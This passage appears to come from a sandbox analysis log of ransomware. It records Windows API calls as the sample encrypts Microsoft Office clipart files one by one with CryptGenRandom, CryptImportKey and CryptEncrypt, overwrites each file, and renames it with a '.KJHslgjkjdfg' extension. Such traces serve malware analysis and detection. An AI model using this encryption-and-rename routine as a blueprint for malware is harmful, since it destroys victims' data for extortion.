lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0159.379] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.379] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.379] GetProcessHeap () returned 0x2a0000 [0159.379] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.379] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.379] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.379] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.379] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.379] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.379] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.379] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.379] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.379] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.379] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.379] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.379] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3772, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3772, lpOverlapped=0x0) returned 1 [0159.383] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3780, dwBufLen=0x3780 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3780) returned 1 [0159.383] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.383] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3780, lpOverlapped=0x0) returned 1 [0159.384] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.384] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.384] SetEndOfFile (hFile=0x114) returned 1 [0159.386] GetProcessHeap () returned 0x2a0000 [0159.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.386] GetProcessHeap () returned 0x2a0000 [0159.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.387] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf.kjhslgjkjdfg")) returned 1 [0159.388] CloseHandle (hObject=0x114) returned 1 [0159.388] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb458ec00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb458ec00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x920e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00096_.WMF", cAlternateFileName="")) returned 1 [0159.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.389] GetProcessHeap () returned 0x2a0000 [0159.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.389] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.389] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.389] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0159.392] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.392] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.392] GetProcessHeap () returned 0x2a0000 [0159.392] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.392] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.392] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.392] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.393] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.393] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.393] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.393] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.393] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.393] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.393] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.393] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.393] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x920e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x920e, lpOverlapped=0x0) returned 1 [0159.394] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9210, dwBufLen=0x9210 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9210) returned 1 [0159.395] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.395] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9210, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9210, lpOverlapped=0x0) returned 1 [0159.395] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.395] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x92e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.395] SetEndOfFile (hFile=0x114) returned 1 [0159.398] GetProcessHeap () returned 0x2a0000 [0159.398] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.398] GetProcessHeap () returned 0x2a0000 [0159.398] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.398] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf.kjhslgjkjdfg")) returned 1 [0159.399] CloseHandle (hObject=0x114) returned 1 [0159.399] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1f69200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1f69200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x3df0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00296_.WMF", cAlternateFileName="")) returned 1 [0159.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.410] GetProcessHeap () returned 0x2a0000 [0159.410] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.410] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.410] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.410] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.410] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.410] GetProcessHeap () returned 0x2a0000 [0159.410] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.410] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.410] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.410] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.413] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.413] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.413] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.413] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.413] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.413] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.413] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.413] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.413] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3df0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3df0, lpOverlapped=0x0) returned 1 [0159.414] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3df0, dwBufLen=0x3df0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3df0) returned 1 [0159.414] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.414] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3df0, lpOverlapped=0x0) returned 1 [0159.414] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.414] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.414] SetEndOfFile (hFile=0x114) returned 1 [0159.416] GetProcessHeap () returned 0x2a0000 [0159.416] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.416] GetProcessHeap () returned 0x2a0000 [0159.416] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.417] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf.kjhslgjkjdfg")) returned 1 [0159.417] CloseHandle (hObject=0x114) returned 1 [0159.417] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b40e00, ftCreationTime.dwHighDateTime=0x1bd4aee, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54b40e00, ftLastWriteTime.dwHighDateTime=0x1bd4aee, nFileSizeHigh=0x0, nFileSizeLow=0x4712, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00297_.WMF", cAlternateFileName="")) returned 1 [0159.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.419] GetProcessHeap () returned 0x2a0000 [0159.419] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.419] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.419] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.419] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0159.421] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.421] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.421] GetProcessHeap () returned 0x2a0000 [0159.421] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.421] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.421] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.421] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.421] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.421] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.421] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.421] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.421] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.422] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.422] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.422] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.422] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4712, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4712, lpOverlapped=0x0) returned 1 [0159.422] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4720, dwBufLen=0x4720 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4720) returned 1 [0159.423] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.423] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4720, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4720, lpOverlapped=0x0) returned 1 [0159.423] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.423] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x47f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.423] SetEndOfFile (hFile=0x114) returned 1 [0159.425] GetProcessHeap () returned 0x2a0000 [0159.425] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.425] GetProcessHeap () returned 0x2a0000 [0159.425] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.425] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf.kjhslgjkjdfg")) returned 1 [0159.427] CloseHandle (hObject=0x114) returned 1 [0159.427] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c56500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0c56500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xb6de, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00306_.WMF", cAlternateFileName="")) returned 1 [0159.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.427] GetProcessHeap () returned 0x2a0000 [0159.427] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.428] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.428] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.428] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0159.430] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.430] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.430] GetProcessHeap () returned 0x2a0000 [0159.430] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.430] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.430] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.430] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.430] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.430] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.430] WriteFile (in: hFile=0x114, 